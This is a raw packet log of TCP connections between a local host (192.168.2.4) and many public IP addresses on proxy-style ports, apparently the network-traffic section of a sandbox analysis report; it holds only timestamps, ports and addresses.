Feb 23, 2024 09:45:17.535310984 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535372972 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535399914 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.535593033 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535695076 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535717010 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.535764933 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535887003 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535974979 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.536004066 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.536052942 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.536079884 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.536154985 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.536319971 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.536372900 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.536396980 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.536479950 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.536535978 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.536618948 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.536689997 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.536884069 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.537067890 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.537544966 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.537578106 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.537620068 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.537920952 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538008928 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538027048 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538038969 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.538067102 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.538090944 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538229942 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538247108 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538261890 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.538276911 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.538310051 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.538312912 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.538330078 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.538346052 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.538353920 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.538362980 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538387060 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.538458109 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538475037 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538491011 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538547993 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.538558006 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.538558006 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.538563967 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.538640022 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.538664103 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.538671017 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.538687944 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538754940 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538769960 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538783073 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.538805008 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.538810968 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538842916 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538916111 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.538933992 CET	80	50359	50.172.39.98	192.168.2.4
Feb 23, 2024 09:45:17.538945913 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.538949013 CET	9002	50176	222.138.76.6	192.168.2.4
Feb 23, 2024 09:45:17.538980007 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.539020061 CET	9002	50176	222.138.76.6	192.168.2.4
Feb 23, 2024 09:45:17.539047003 CET	9002	50176	222.138.76.6	192.168.2.4
Feb 23, 2024 09:45:17.539096117 CET	35860	50411	212.3.112.128	192.168.2.4
Feb 23, 2024 09:45:17.539134026 CET	50176	9002	192.168.2.4	222.138.76.6
Feb 23, 2024 09:45:17.539336920 CET	35860	50411	212.3.112.128	192.168.2.4
Feb 23, 2024 09:45:17.539880037 CET	14313	49994	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:17.539899111 CET	1611	49982	72.10.160.170	192.168.2.4
Feb 23, 2024 09:45:17.541363955 CET	50411	35860	192.168.2.4	212.3.112.128
Feb 23, 2024 09:45:17.541953087 CET	30783	50431	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:17.542781115 CET	1080	50568	27.75.152.191	192.168.2.4
Feb 23, 2024 09:45:17.542830944 CET	6438	50401	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:17.544394970 CET	50568	1080	192.168.2.4	27.75.152.191
Feb 23, 2024 09:45:17.547033072 CET	80	50210	50.231.104.58	192.168.2.4
Feb 23, 2024 09:45:17.547557116 CET	80	50419	50.218.57.69	192.168.2.4
Feb 23, 2024 09:45:17.552090883 CET	80	50534	62.99.138.162	192.168.2.4
Feb 23, 2024 09:45:17.552994967 CET	50125	22093	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.552994967 CET	50127	20627	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.553355932 CET	49775	17182	192.168.2.4	139.99.9.218
Feb 23, 2024 09:45:17.554759979 CET	8080	50153	190.57.245.250	192.168.2.4
Feb 23, 2024 09:45:17.561600924 CET	4153	50490	45.233.2.1	192.168.2.4
Feb 23, 2024 09:45:17.564776897 CET	80	50363	35.185.254.159	192.168.2.4
Feb 23, 2024 09:45:17.564907074 CET	80	50426	68.188.59.198	192.168.2.4
Feb 23, 2024 09:45:17.565110922 CET	50490	4153	192.168.2.4	45.233.2.1
Feb 23, 2024 09:45:17.565290928 CET	32650	49916	41.217.223.145	192.168.2.4
Feb 23, 2024 09:45:17.566905975 CET	49922	49740	159.223.71.71	192.168.2.4
Feb 23, 2024 09:45:17.568231106 CET	37901	50526	5.161.98.204	192.168.2.4
Feb 23, 2024 09:45:17.568422079 CET	50526	37901	192.168.2.4	5.161.98.204
Feb 23, 2024 09:45:17.568622112 CET	50194	4153	192.168.2.4	184.82.142.201
Feb 23, 2024 09:45:17.568623066 CET	49735	80	192.168.2.4	50.172.227.202
Feb 23, 2024 09:45:17.569916010 CET	16703	50059	72.10.160.93	192.168.2.4
Feb 23, 2024 09:45:17.569942951 CET	2191	50460	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.569947958 CET	50481	80	192.168.2.4	50.173.140.145
Feb 23, 2024 09:45:17.570192099 CET	8635	50052	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.570940971 CET	9000	50546	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:17.571382999 CET	9000	50546	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:17.571510077 CET	50546	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:17.574181080 CET	80	50114	58.182.138.139	192.168.2.4
Feb 23, 2024 09:45:17.574204922 CET	4145	50450	72.210.252.137	192.168.2.4
Feb 23, 2024 09:45:17.574218988 CET	4145	50450	72.210.252.137	192.168.2.4
Feb 23, 2024 09:45:17.575731993 CET	1080	50538	202.162.219.12	192.168.2.4
Feb 23, 2024 09:45:17.580420017 CET	50538	1080	192.168.2.4	202.162.219.12
Feb 23, 2024 09:45:17.582742929 CET	18681	49765	67.43.228.250	192.168.2.4
Feb 23, 2024 09:45:17.584343910 CET	50510	32284	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:17.584393978 CET	49801	12129	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:17.588330984 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588354111 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588380098 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588397980 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588416100 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588434935 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588454008 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588471889 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588490009 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588509083 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588526964 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588545084 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588592052 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588608980 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588695049 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588721037 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.588737965 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588931084 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588946104 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.588956118 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.588960886 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589081049 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589107990 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589111090 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.589123964 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589133978 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.589148045 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589160919 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589169979 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.589175940 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589190006 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589217901 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.589334965 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589368105 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589370012 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.589382887 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589396954 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.589468956 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.589468956 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.596688986 CET	3128	49870	91.149.224.168	192.168.2.4
Feb 23, 2024 09:45:17.599886894 CET	49995	54330	192.168.2.4	206.189.15.100
Feb 23, 2024 09:45:17.599908113 CET	25053	50069	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.600301981 CET	25341	50071	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:17.602904081 CET	999	50388	191.97.16.160	192.168.2.4
Feb 23, 2024 09:45:17.605460882 CET	1080	50538	202.162.219.12	192.168.2.4
Feb 23, 2024 09:45:17.605484962 CET	4145	50517	24.249.199.12	192.168.2.4
Feb 23, 2024 09:45:17.607260942 CET	80	49749	96.113.159.162	192.168.2.4
Feb 23, 2024 09:45:17.607302904 CET	50517	4145	192.168.2.4	24.249.199.12
Feb 23, 2024 09:45:17.607399940 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:17.611634970 CET	31979	49894	51.77.73.67	192.168.2.4
Feb 23, 2024 09:45:17.615536928 CET	50167	14745	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.615536928 CET	49789	32650	192.168.2.4	154.79.254.236
Feb 23, 2024 09:45:17.618755102 CET	8000	50454	14.103.24.20	192.168.2.4
Feb 23, 2024 09:45:17.620615005 CET	50454	8000	192.168.2.4	14.103.24.20
Feb 23, 2024 09:45:17.622190952 CET	80	50406	149.202.172.113	192.168.2.4
Feb 23, 2024 09:45:17.626991987 CET	80	49781	80.228.235.6	192.168.2.4
Feb 23, 2024 09:45:17.627671957 CET	29129	50110	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:17.637489080 CET	10471	50543	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:17.637510061 CET	10471	50543	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:17.640378952 CET	50543	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:17.643446922 CET	50438	80	192.168.2.4	50.230.222.202
Feb 23, 2024 09:45:17.643446922 CET	50208	6533	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:17.646804094 CET	50257	3128	192.168.2.4	195.158.16.9
Feb 23, 2024 09:45:17.646804094 CET	49778	8000	192.168.2.4	137.184.15.145
Feb 23, 2024 09:45:17.646825075 CET	49945	4145	192.168.2.4	199.102.105.242
Feb 23, 2024 09:45:17.646835089 CET	50525	83	192.168.2.4	103.47.175.161
Feb 23, 2024 09:45:17.646835089 CET	49983	60186	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:17.646855116 CET	50046	6441	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.646855116 CET	50055	27645	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.646855116 CET	50461	10005	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.646857977 CET	49751	4145	192.168.2.4	222.124.130.198
Feb 23, 2024 09:45:17.646869898 CET	50532	37683	192.168.2.4	209.216.90.208
Feb 23, 2024 09:45:17.646874905 CET	49912	33427	192.168.2.4	91.135.80.66
Feb 23, 2024 09:45:17.646883011 CET	50531	3600	192.168.2.4	170.82.13.121
Feb 23, 2024 09:45:17.646888018 CET	50142	8000	192.168.2.4	137.184.22.92
Feb 23, 2024 09:45:17.646888971 CET	50536	83	192.168.2.4	45.249.78.25
Feb 23, 2024 09:45:17.646897078 CET	50376	4145	192.168.2.4	185.169.181.22
Feb 23, 2024 09:45:17.646912098 CET	50139	27917	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:17.646940947 CET	49805	3021	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.646953106 CET	50000	3128	192.168.2.4	37.120.222.132
Feb 23, 2024 09:45:17.646964073 CET	50161	12707	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.646964073 CET	50026	80	192.168.2.4	50.172.75.124
Feb 23, 2024 09:45:17.646964073 CET	50198	10739	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.646986008 CET	49768	3256	192.168.2.4	125.87.82.86
Feb 23, 2024 09:45:17.647017002 CET	50518	14917	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.647074938 CET	49999	31979	192.168.2.4	51.77.73.78
Feb 23, 2024 09:45:17.648158073 CET	22093	50125	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.648845911 CET	20627	50127	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.654465914 CET	26589	50586	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:17.661371946 CET	50586	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:17.662368059 CET	50057	4145	192.168.2.4	107.181.168.145
Feb 23, 2024 09:45:17.662373066 CET	50294	8089	192.168.2.4	111.225.152.207
Feb 23, 2024 09:45:17.662489891 CET	50137	80	192.168.2.4	50.168.163.178
Feb 23, 2024 09:45:17.662748098 CET	10801	50296	95.111.91.50	192.168.2.4
Feb 23, 2024 09:45:17.663527966 CET	80	50527	113.252.40.144	192.168.2.4
Feb 23, 2024 09:45:17.666140079 CET	80	50427	50.222.245.40	192.168.2.4
Feb 23, 2024 09:45:17.674132109 CET	4145	50487	61.247.25.231	192.168.2.4
Feb 23, 2024 09:45:17.678203106 CET	34041	50393	185.225.200.247	192.168.2.4
Feb 23, 2024 09:45:17.678247929 CET	50487	4145	192.168.2.4	61.247.25.231
Feb 23, 2024 09:45:17.679305077 CET	12129	49801	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:17.680413008 CET	49953	22035	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:17.680418015 CET	50061	80	192.168.2.4	50.172.75.120
Feb 23, 2024 09:45:17.680418015 CET	50522	80	192.168.2.4	50.218.57.74
Feb 23, 2024 09:45:17.680429935 CET	50329	50415	192.168.2.4	148.72.212.252
Feb 23, 2024 09:45:17.688256025 CET	3128	50230	186.156.161.235	192.168.2.4
Feb 23, 2024 09:45:17.696223021 CET	5678	49993	125.26.22.7	192.168.2.4
Feb 23, 2024 09:45:17.696619034 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696639061 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696681976 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696698904 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696738005 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.696749926 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696768999 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696782112 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.696799040 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696816921 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696826935 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.696865082 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696882010 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696897984 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.696914911 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696932077 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696943998 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.696947098 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696964025 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.696979046 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697010040 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697038889 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697067976 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697082996 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697098017 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697123051 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697160959 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697190046 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697278976 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697302103 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697305918 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697324991 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697387934 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697407007 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697412968 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697422981 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697439909 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697446108 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697457075 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697479963 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697592020 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697608948 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697619915 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697669983 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697689056 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697705030 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697715044 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697757006 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697762012 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697781086 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697810888 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697823048 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697854042 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697870016 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697901964 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697907925 CET	80	50481	50.173.140.145	192.168.2.4
Feb 23, 2024 09:45:17.697927952 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.697942019 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.697942972 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698486090 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698507071 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698519945 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.698523045 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698539972 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698555946 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698565006 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.698596001 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698611975 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698623896 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.698626995 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698632002 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.698707104 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698730946 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.698736906 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698831081 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698848009 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698865891 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698883057 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698896885 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.698899031 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698904991 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.698916912 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.698944092 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.699130058 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699158907 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.699163914 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699181080 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699225903 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699250937 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.699269056 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699285030 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699312925 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699316025 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.699331045 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699341059 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.699548960 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699565887 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699579000 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.699651003 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699666977 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699680090 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.699820042 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699847937 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.699863911 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699881077 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699896097 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.699922085 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700012922 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700031042 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700041056 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700046062 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700063944 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700083971 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700093031 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700119019 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700150013 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700150967 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700166941 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700177908 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700325012 CET	31602	50095	49.13.116.170	192.168.2.4
